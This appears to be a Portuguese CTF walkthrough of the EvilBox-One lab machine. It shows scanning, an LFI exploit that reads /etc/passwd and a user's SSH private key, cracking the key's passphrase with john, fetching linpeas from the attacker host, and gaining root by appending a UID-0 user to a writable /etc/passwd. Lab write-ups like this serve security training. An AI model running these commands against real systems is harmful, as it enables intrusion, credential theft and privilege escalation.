

EvilBox-One

► EvilBox-One

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-----X-----X-----X-----X-----X-----X-----X-----X-----X-----X-----X-----X-----X-----

```
#lfi #apache2 #feroxbuster #passwd #openssl #ssh2john #john
```

-----X-----X-----X-----X-----X-----X-----X-----X-----X-----X-----X-----X-----X-----

- Localizado diretório com uma página php suspeita
- Feito fuzz na página e descoberto um parametro com vulnerabilidade LFI
- Através da vulnerabilidade foi possível obter a chave ssh de um dos usuarios
- Chave esta criptografada, utilizado as ferramentas ssh2john e john para descobrir a senha
- Após acesso foi descoberto que possuímos permissão de escrita no arquivo /etc/passwd
- Criado novo usuario “eldruin” com permissão de root

-----X-----X-----X-----X-----X-----X-----X-----X-----X-----X-----X-----X-----X-----

Enumeration

```
sudo masscan -p 1-65535 -i tun0 --rate=1000 192.168.115.212
```

```

└─$ sudo masscan -p 1-65535 -i tun0 --rate=1000 192.168.115.212
[sudo] password for eldruiin:
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-07-09 00:34:34 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 80/tcp on 192.168.115.212
Discovered open port 22/tcp on 192.168.115.212

```

```
L$ sudo nmap -sCV -Pn -p 80,22 192.168.115.212
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA)
|   256 27:db:6a:c7:3a:9c:5a:0e:47:ba:8d:81:eb:d6:d6:3c (ECDSA)
|_  256 e3:07:56:a9:25:63:d4:ce:39:01:c1:9a:d9:fe:de:64 (ED25519)
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))
|_ http-server-header: Apache/2.4.38 (Debian)
|_ http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Acessando a porta 80 temos a página padrão do Apache2


```

└─$ curl -v http://192.168.115.212/secret/evil.php
* Trying 192.168.115.212:80 ...
* Connected to 192.168.115.212 (192.168.115.212) port 80 (#0)
> GET /secret/evil.php HTTP/1.1
> Host: 192.168.115.212
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 09 Jul 2022 00:50:33 GMT
< Server: Apache/2.4.38 (Debian)
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 192.168.115.212 left intact

```

Infelizmente ela não trouxe nada, vamos fazer uma busca por parametros

└─\$ wfuzz --hw 0 -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.115.212/secret/evil.php?FUZZ=/etc/passwd

```

└─$ wfuzz --hw 0 -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.115.212/secret/evil.php?FUZZ=/etc/passwd
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not wo
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*
*****

Target: http://192.168.115.212/secret/evil.php?FUZZ=/etc/passwd
Total requests: 953


```

ID	Response	Lines	Word	Chars	Payload
000000183:	200	26 L	38 W	1398 Ch	"command"

```

Total time: 16.12855
Processed Requests: 953
Filtered Requests: 952
Requests/sec.: 59.08773

```

Exploitation🔗

Perfeito, vamos ver o que este parametro retorna

└─\$ curl http://192.168.115.212/secret/evil.php?command=/etc/passwd


```

└─$ curl http://192.168.115.212/secret/evil.php?command=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

```

Ótimo, temos uma vulnerabilidade LFI.

Verificando melhor o arquivo encontramos os usuario “root” e “mowree”. Vamos enumerar melhor para buscar um ponto de entrada

└─\$ curl http://192.168.115.212/secret/evil.php?command=/home/mowree/.ssh/id_rsa

```

└─$ curl http://192.168.115.212/secret/evil.php?command=/home/mowree/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E

uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEkIzONt+x4A06FmjFmR8RUpwMHurmbRC6
hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQ0S4QMQUtAcjZZ8EJzoe
o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
+gzWGBUmkTOL0/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0t0Fsuot
b7A9XTubgElslUEm8fGw64kX3*3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
HtXTzdvdQBbgBf4h08qyC0xGEaVZHKaV/ynGn0v0zhLz+z163SjppVPK07H4bdLg
9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+N0ofUrVtFJJZ/OnhtMKW+M948EgnY
zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoUuvzNfVKVPZKqyaJu
rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLs+bD1
tHBy6U0hKcN3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtl9UrePLh/Xs
94KATK4joOIW708GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
VD5pEdAybKBfBG/xVu2CR378BRKzLJkiyqRjXQLoFMVDz3I30RpbjbpFYqs2Dm2M7
Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQLSi94IHxAPvl4vyCoPLW89JzsNDsvG8P
hrkWRpPiwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr
Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGLRqMmJK+StmqR
IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5Qfh0+V8WzbVzhP6+R
MtqgWlL0iAgB4CnTIud6DpXQtR9l//9aIrxA+4nWcDW2GoKjLjx0KNK8jXs58SnS
62LrvCNZVokZjql8Xi7xL0XbEk0gtPitLtX7xAHLFTVZt4UH6cs0cwq5vvJAGh69
Q/ikz5XmyQ+wDwQEEDzNe0j9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
plia+meL0JVLlobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
pwxoAe1tMmInLzFR2sKvLIeHIBfHq/hPf2PHvU0cpz7MzfY36*9ufZc5MH2JDT8X
KREAJ3S0pMplP/ZcXjRL0LESQXeUQ2yvb61m+zhpg0QjWH131gnaBIhVIj1nLnTa
i99+vYdwe8+8nJq4/WXhKN+VTYXndET2H0fFNTFAqbK2HGy6+6qS/4Q6DVVxTHdp
4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGlKs2I/
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA=
-----END RSA PRIVATE KEY-----

```

Ótimo, vamos baixar essa chave e tentar logar como o usuario mowree

```
(eldruin@kali)-[~/brincadeiras/ctf/pg]
$ curl http://192.168.115.212/secret/evil.php?command=/home/mowree/.ssh/id_rsa > id_rsa
% Total    % Received % Xferd  Average Speed   Time    Time     Time    Current
           Dload  Upload   Total     Spent    Left     Speed
100  1743  100  1743    0     0   5567      0 --:--:-- --:--:-- --:--:--  5586

(eldruin@kali)-[~/brincadeiras/ctf/pg]
$ chmod 600 id_rsa

(eldruin@kali)-[~/brincadeiras/ctf/pg]
$ ssh mowree@192.168.115.212 -i id_rsa
The authenticity of host '192.168.115.212 (192.168.115.212)' can't be established.
ED25519 key fingerprint is SHA256:0x3tf1iiGyqlMEM47ZSWSJ4hLBu7FeVaeaT2FxM7iq8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.115.212' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
```

Opa, não percebi que a chave estava encryptada. Então vamos recorrer ao bom e velho "john"

```
└─$ ssh2john id_rsa > enc_id_rsa
```

```
└─$ john enc_id_rsa -w=/home/eldruin/wordlists/rockyou.txt
```

```
└─$ ssh2john id_rsa > enc_id_rsa

(eldruin@kali)-[~/brincadeiras/ctf/pg]
$ john enc_id_rsa -w=/home/eldruin/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorn (id_rsa)
1g 0:00:00:00 DONE (2022-07-08 20:56) 33.33g/s 42133p/s 42133c/s 42133C/s callum..breanna
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Ok, agora vamos tentar novamente

```
└─$ ssh mowree@192.168.115.212 -i id_rsa
Enter passphrase for key 'id_rsa':
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
mowree@EvilBoxOne:~$ id
uid=1000(mowree) gid=1000(mowree) grupos=1000(mowree),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
mowree@EvilBoxOne:~$
```

HABEMUS SHELL \o/

Post-Exploitation

Vamos pegar a primeira flag

```
mowree@EvilBoxOne:~$ ls
local.txt
mowree@EvilBoxOne:~$ cat local.txt
b5d7ca [REDACTED]
mowree@EvilBoxOne:~$
mowree@EvilBoxOne:~$
```

Alguns comandos básicos de enumeração não retornaram nada interessante

```

mowree@EvilBoxOne:~$ sudo -l
-bash: sudo: orden no encontrada
mowree@EvilBoxOne:~$ find / -perm -u=s 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmccrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/fusermount
mowree@EvilBoxOne:~$ getcap -r / 2>/dev/null
mowree@EvilBoxOne:~$

```

Um dos scripts de enumeração que mais gosto é o [linpeas](#). Vamos upar ele na máquina e executá-lo

```

$ sudo python3 -m http.server
[sudo] password for eldrui:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
...

```

```

mowree@EvilBoxOne:/tmp$ wget http://192.168.49.115:8000/utils/linpeas.sh
--2022-07-09 03:03:58-- http://192.168.49.115:8000/utils/linpeas.sh
Conectando con 192.168.49.115:8000 ... conectado.
Petición HTTP enviada, esperando respuesta ... 200 OK
Longitud: 325334 (318K) [text/x-sh]
Grabando a: "linpeas.sh"

linpeas.sh 100%[=====]

2022-07-09 03:03:59 (489 KB/s) - "linpeas.sh" guardado [325334/325334]
mowree@EvilBoxOne:/tmp$ chmod +x linpeas.sh

```

Um dos resultados do script é interessante

```

[+] Hashes inside passwd file? ..... No
[+] Writable passwd file? ..... /etc/passwd is writable
[+] Credentials in fstab/mtab? ..... No

```

Privilege Escalation

Então possuímos permissão de escrita no arquivo passwd, então podemos criar um novo usuário como root

Geralmente eu começo copiando uma das linhas do arquivo e alterando ela

```
root:x:0:0:root:/root:/bin/bash > eldrui:x:0:0:root:/root:/bin/bash
```

Porém precisamos colocar um password no lugar do "x". para isso usamos o comando openssl

```
└─$ openssl passwd eldruin
```

```
└─$ openssl passwd eldruin  
IL7LYcCa2b9l6
```

Atualizamos a linha anterior

```
eldruin:IL7LYcCa2b9l6:0:0:root:/root:/bin/bash
```

E agora colocamos essa linha no final do arquivo

```
echo "eldruin:IL7LYcCa2b9l6:0:0:root:/root:/bin/bash" >> /etc/passwd
```

E com isso conseguimos logar com nosso novo usuario

```
mowree@EvilBoxOne:/tmp$ su eldruin  
Contraseña:  
root@EvilBoxOne:/tmp# id  
uid=0(root) gid=0(root) grupos=0(root)  
root@EvilBoxOne:/tmp#
```

Agora é só pegar a última flag

```
root@EvilBoxOne:/tmp# cd /root  
root@EvilBoxOne:~# ls  
proof.txt  
root@EvilBoxOne:~# cat proof.txt  
10f2861[REDACTED]  
root@EvilBoxOne:~#
```